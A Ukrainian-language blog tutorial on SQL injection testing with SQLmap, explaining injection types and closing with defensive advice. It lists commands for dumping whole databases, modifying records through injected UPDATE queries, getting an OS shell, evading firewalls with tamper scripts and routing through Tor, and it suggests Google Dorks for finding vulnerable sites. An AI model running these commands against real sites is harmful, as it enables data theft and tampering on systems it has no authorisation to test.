Close
KR. LABORATORIES
Digital-лабораторія IT технологій
 UK EN

Пентестинг з SQLmap або як експлуатувати SQL вразливості

У цьому керівництві розглянемо ази пентесту в SQLmap. Навчимось як протестувати будь-який сайт на SQL-вразливість. Дізнаємося що таке SQL-ін’єкція. У висновку, отримаємо чітке розуміння того, як використовувати SQLmap для забезпечення безпеки веб-додатків.

Зміст статті

Що таке SQLmap?

SQLmap – це культовий інструмент етичного хакінгу, який застосовується спеціалістами з кібербезпеки для проведення тестів на проникнення SQL баз даних. Інструмент розроблений на Python у 2006 році італійцем Даніелем Белуччі. На сьогодні підтримується італійцем Берндардом Дамеле та хорватом Мирославом Штампаром. Розповсюджується безкоштовно за ліцензією GPLv2. SQLmap входить в ТОП-10 найпотужніших хакерських інструментів всіх часів. Детальніше про історію проєкта тут.

Основні переваги та відмінності SQLmap:

  • Повністю автоматизований процес пошуку і експлуатації SQL-ін’єкцій.
  • Підтримка різноманітних SQL методів, технік виразів: boolean-based blind, time-based blind, error-based, UNION query-based, stacked queries, out-of-band.
  • Можливість використовувати у зв’язці з проксі Burp Suite та Metasploit (через сесію Meterpreter), а також іншими додатками.
  • Розпізнає HTTP GET/POST запити з txt-файлу.
  • Вбудований брутфорсер хешів MD5.
  • Можливість формування дампу бази даних.
  • Підтримка різноманітних варіантів експлуатації, включаючи OS Shell, SQL Shell.
  • Розуміння синтаксису MySQL, PostgreSQL, Microsoft SQL Server, Oracle, SQLite, IBM DB2, Firebird, Sybase, SAP MaxDB, HSQLDB.

Як встановити SQLmap в Linux?

Встановити SQLmap можна декількома шляхами:

В дистрибутиві Kali Linux SQLmap вже встановлений по замовчуванню.

Приклади роботи з SQLmap

Підготовчі етапи:

  1. Перед початком роботи з SQLmap необхідно отримати точку входу – це URL-адреса, HTTP-запит, файл або директорія з вразливими параметрами чи помилками.
  2. Для цього спершу треба ретельно просканувати сайт, провести аудит, проаналізувати його структуру, переглянути усі можливі файли, директорії, URL-адреси (фаззінг) та виявити слабкі місця.
  3. Зазвичай, вразливими до SQL-ін’єкцій є веб-сторінки з генерацією динамічних URL, форми відправки даних, функціонал пошуку з великою кількістю параметрів, разноманітні API-інтеграції тощо.
  4. Можна поєднувати ручне і автоматичне сканування. Популярні інструменти для автоматизованого IAST/DAST сканування: Burp Suite, OWASP ZAP, Acunetix, Dirb, FFUF, WPScan, Nekto, Nessus, ImmuniWeb тощо.
  5. Для пошуку вразливих сайтів в інтернеті можна скористатися Google Dorks.
  6. Як тільки ви отримали точку входу, можна переходити в SQLmap для експлуатації вразливих до SQL-ін’єкцій параметрів.
  7. Запускати SQLmap рекомендую з віртуальної машини або VPS-сервера.

Команди SQLmap:

  • sqlmap -u 'http://domain.com/links.php?extension=menu&view=menu&parent=343434' -p parent — протестувати на SQL-вразливість до ін’єкції сайт за вказаним URL-посиланням та вказаним параметром, який треба перебрати.
  • sqlmap -u 'http://domain.com/links.php?extension=menu&view=menu&parent=343434' -p parent --dbs --batch --level=5 --risk=3 --random-agent — протестувати на SQL-вразливість до ін’єкції сайт за вказаним URL-посиланням та вказаним параметром, в автоматичному режимі batch, з найвищим рівнем деталізованості level (від 1 до 5) та найвищим рівнем критичності risk (від 1 до 3), випадковим User-Agent браузера для кожного запиту, а також отримати тип і назву бази даних dbs, якщо виявиться, що сайт вразливий.
  • sqlmap -u 'http://domain.com/links.php?extension=menu&view=menu&parent=343434' -p parent -D databasename --tables --random-agent -o — переглянути всі таблиці вказаної бази даних, використавши випадковий User-Agent та оптимізацію o.
  • sqlmap -u 'http://domain.com/links.php?extension=menu&view=menu&parent=343434' -p parent -D databasename -T databasetable --columns --random-agent -o — переглянути вказану таблицю з усіма колонками за заданою базою даних, застосувавши оптимізацію і рандомний браузер.
  • sqlmap -u 'http://domain.com/links.php?extension=menu&view=menu&parent=343434' -p parent -D databasename -T databasetable --dump --random-agent -o — зробити дамп вказаної таблиці бази даних і зберегти в файлі CSV.
  • sqlmap -u 'http://domain.com/links.php?extension=menu&view=menu&parent=343434' -p parent -D databasename -T databasetable -С columnname1,columnname2,columnname3 --dump --random-agent -o — зробити дамп вказаної таблиці бази даних зазначених колонок.
  • sqlmap -u 'http://domain.com/links.php?extension=menu&view=menu&parent=343434' -p parent -D databasename --dump-all --random-agent -o dump_file.sql — зробити повний дамп усієї бази даних і зберегти в файлі SQL.
  • sqlmap -r /path/to/postsqli.txt -p param --dbms=mysql --sql-query="UPDATE db_tablename SET email='new@email.com' WHERE email='old@email.com';" --random-agent -o — змінити дані у вказаній таблиці бази даних, замінивши одне значення на інше у колонці.
  • sqlmap -u "https://240c97ed4233e1e56b4bdf68997f1383.ctf.hacker101.com/login" --data "username=&password=" --method POST --regexp "Invalid password" --dump — експлуатація форми входу на SQL-ін’єкцію через вказані параметри POST-запиту.
  • sqlmap -u "http://XXX.XXX.XXX.X/sqli_1.php?title=hello&action=search" --cookie "PHPSESSID=ipcund5314149g188pfhb3pff1; security_level=0" -p title — проексплуатувати вказаний URL з параметром tile, використавши зазначені кукі.
  • sqlmap -u 'http://domain.com/links.php?extension=menu&view=menu&parent=343434' -p parent --random-agent -f --banner --current-user --passwords --tables --exclude-sysdbs — провести fingerprinting бази даних, отримати ім’я користувача, отримати назву і версію бази даних, назви всіх таблиць, ігноруючи системі sysdbs.
  • sqlmap -u 'http://domain.com/links.php?extension=menu&view=menu&parent=343434' -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.246' — протестувати вказаний URL із застосуванням HTTP-заголовка, у даному випадку User-Agent.

Додаткові ключі:

  • --os-shell — доступ до інтерактивного командного рядка.
  • --sql-shell — доступ до оболонки комадного рядка MySQL.
  • --no-cast — уникнення автоматичного приведення типів даних.
  • --current-user — отримання імені поточного користувача бази даних.
  • --is-dba — перевірка прав, чи є поточний користувач адміністратором бази даних.
  • --hex — використовується для перетворення (конвертації) даних в шістнадцятковий формат (hexadecimal), це може допомогти уникнути проблем із кодуванням або фільтрацією даних на рівні бази даних або веб-додатку.
  • --tamper — використовується для вказування скриптів маніпулювання (tamper scripts), які можуть змінювати payload для обходу різних систем захисту, таких як Web Application Firewall (WAF).
  • --cookie="name=value" — передача cookie для аутентифікації.
  • --tor — підключення через TOR мережу.
  • --tor-type — вказує тип проксі для використання Tor. За замовчуванням, це SOCKS5, але ви також можете використовувати HTTP.
  • --check-tor — перевіряє чи працює TOR як проксі.
  • --fresh-queries — ігнорувати кешовані запити попередніх результатів.
  • --flush-session — очищення всіх даних сесії для цілі.
  • --count — підрахунок кількості записів у базі даних.
  • -v 1 — рівень деталізації виводу, від 1 до 5.
  • --dbms "mysql" — вказати тип бази даних для експлуатації.
  • --threads=10 — кількість паралельних потоків для сканування, від 1 до 10.
  • --replicate — повторно застосовувати вже знайдені раніше вразливості.
  • --referer="https://domain.com" — вказати HTTP-заголовок referer.
  • --delay=3 — затримка в секундах між кожним запитом.
  • --timeout=30 — час очікування відповіді в секундах.
  • --force-ssl — примусове використання SSL/TLS (HTTPS) протоколу.
  • --csrf-token="token"  — вказати CSRF токен.
  • --proxy="http://127.0.0.1:8080" — вказати проксі-сервер.
  • --data="data" — рядок з даними, які треба відправити через POST-запит.
  • --mobile — використати User-Agent мобільного пристрою.
  • --technique=U — тип SQL-ін’єкції, наприклад Union.
  • -h — викликати довідку.

Принципи розуміння SQL-ін’єкцій

Що таке SQL? Це структурована мова (Structured Query Language), яка дозволяє взаємодіяти з реляційними базами даних.

Кожна база даних має таку структуру:

  • Таблиці (tables)
    • Рядки (rows)
    • Колонки (columns)
    • Комірки (cells)

Приклад таблиці бази даних:

  • Колонки: Ім’я, Прізвище, Клас, Вік
  • Рядки: (Олексій, Іваненко, 5-А, 10), (Марія, Петрова, 6-Б, 11)
  • Комірки: “Олексій”, “Іваненко”, “5-А”, “10”, “Марія”, “Петрова”, “6-Б”, “11”

Основні команди SQL:

  • SELECT – команда обрати;
  • INSERT – команда вставити нові значення в таблицю;
  • UNION – об’єднує різні команди;
  • UPDATE – оновити існуючі значення в таблиці;
  • DELETE – команда видалити.

Що таке ін’єкція? Це відправка запитів на сервер з метою обійти захист системи та отримати несанкціоновані дані або здійснити несанкціоновані дії, внести зміни в базу даних.

Принцип дії виконання SQL-запиту через динамічний URL

Приклад звичайої SQL-ін’єкції.

Типи SQL-ін’єкцій:

  1. Boolean-based blind SQL-injection (інколи називають інферентною SQL ін’єкцією): У вразливий параметр у HTTP-запиті передаються кілька валідних виразів, які оцінюються як істинні або хибні. Порівнюючи сторінки відповідей для обох умов, можна визначити, чи була ін’єкція успішною.
  2. Time-based blind SQL-injection (інколи називають сліпою SQL ін’єкцією): У вразливий параметр у HTTP-запиті передаються валідні SQL-вирази, які змушують базу даних зупинятися на певний період часу. Порівнюючи часи відгуку між звичайними запитами та ін’єктованими запитами з різним часом затримки, можна визначити, чи було виконання SQL-виразу успішним.
  3. Error-based SQL-injection: У вразливий параметр у HTTP-запиті передаються невалідні SQL-вирази. Інструмент потім відстежує HTTP-відповіді на наявність повідомлень про помилки, які розкривають.
  4. UNION Query SQL-injection: SQL-ін’єкція на основі UNION, використовується для маніпуляції даними через передачу результатів запиту SELECT через визначений цикл або рядок інструкцій, що виводять дані на вміст сторінки веб-додатку. У випадку, якщо результати не проходять через цикл for або інші оператори, SQLMap використовує одноразову ін’єкцію через UNION.
  5. Stacked Query SQL-injection: SQLMap використовує цю техніку, додаючи крапку з комою (;) до значення вразливого параметра і додаючи SQL-інструкцію, яка має бути виконана. Це дозволяє виконувати SQL-вирази, відмінні від SELECT, що є корисним для отримання доступу на читання і запис, а також для захоплення контролю над операційною системою.
  6. Out-Of-Band SQL-injection: Цей метод використовує вторинний канал комунікації для виведення результатів запитів, запущених у вразливому додатку. Наприклад, дані можуть відправлятися на домен злоумисника через вторинний канал, такий як DNS-запити, під час вставки веб-застосунку.

👉 Більше теорії на SQL Tutorial>>

Як захиститися від SQL-ін’єкцій?

  1. Встановити WAF (Web Application Firewall) для зовнішнього захисту веб-додатка, наприклад Cloudflare. Виставити на середній або максимальний рівень блокування HTTP-запитів.
  2. Встановити на сервері фаєрвол IPtables і встановити правила блокування підозрілих запитів до сервера.
  3. Дотримуватися правил безпечного кодування. Не використовувати застарілі методи і бібліотеки, вразливі версії програмного забезпечення: MySQL/MariaDB, jQuery/Bootstrap, PHP і т.д.
  4. Застосовувати санітизацію (очищення) вхідних запитів і валідацію веб-коду, який виконується або додається на сайт.
  5. Уникати вразливих динамічних URL з численними параметрами. Проводити їх тестування з допомогою автоматизованих засобів, наприклад SQLmap.
  6. Виконувати щорічно комплексний аудит і тестування на проникнення (пентест) веб-додатків.

👉 Читайте також: Команди роботи з MySQL в терміналі Linux

ПОДІЛИТИСЬ У СОЦМЕРЕЖАХ:

Отримати комерційну пропозицію
Оформити заявку
Замовити консультацію

Заповніть, будь ласка, форму й наш спеціаліст зв’яжеться з Вами та надасть безкоштовну консультацію!

Замовити дзвінок

Вкажіть, будь ласка, контактний номер телефону. Наш менеджер миттєво зв’яжеться з Вами!